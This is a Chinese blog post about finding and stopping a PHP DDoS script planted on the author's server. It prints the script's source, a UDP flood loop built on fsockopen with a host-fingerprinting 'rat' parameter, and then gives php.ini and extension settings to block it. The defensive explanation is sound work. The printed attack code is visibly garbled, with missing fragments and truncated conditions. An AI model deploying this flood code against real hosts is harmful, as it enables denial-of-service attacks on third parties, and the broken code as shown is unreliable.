phpddos攻击的解决办法
程序员文章站
2022-04-09 14:13:45
...
今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.
先看源码,代码如下:
0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER ['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; } for($i=0;$i $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port
"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/ $exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.
php.ini里设置,代码如下:
allow_url_fopen = Off
如果这样他还是能发包,代码如下:
extension=php_sockets.dll
改成
;extension=php_sockets.dll
重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.
另外有网友说,让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on).
禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.
经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.
本文地址:
转载随意,但请附上文章地址:-)
下一篇: php文件目录操作的开发过程与示例分享
推荐阅读
-
MySql登录时闪退的快速解决办法
-
asp.net中“从客户端中检测到有潜在危险的Request.Form值”错误的解决办法
-
详解关于Windows10 Java环境变量配置问题的解决办法
-
IOS 键盘挡住输入框的问题解决办法
-
IOS 中UITextField和UITextView中字符串为空和空格的解决办法
-
IOS中多手势之间的冲突和解决办法
-
详解Android Libgdx中ScrollPane和Actor事件冲突问题的解决办法
-
IOS设备上给body绑定click事件不生效的原因及解决办法
-
yii2整合百度编辑器umeditor及umeditor图片上传问题的解决办法
-
Android ListView 和ScroolView 出现onmeasure空指针的解决办法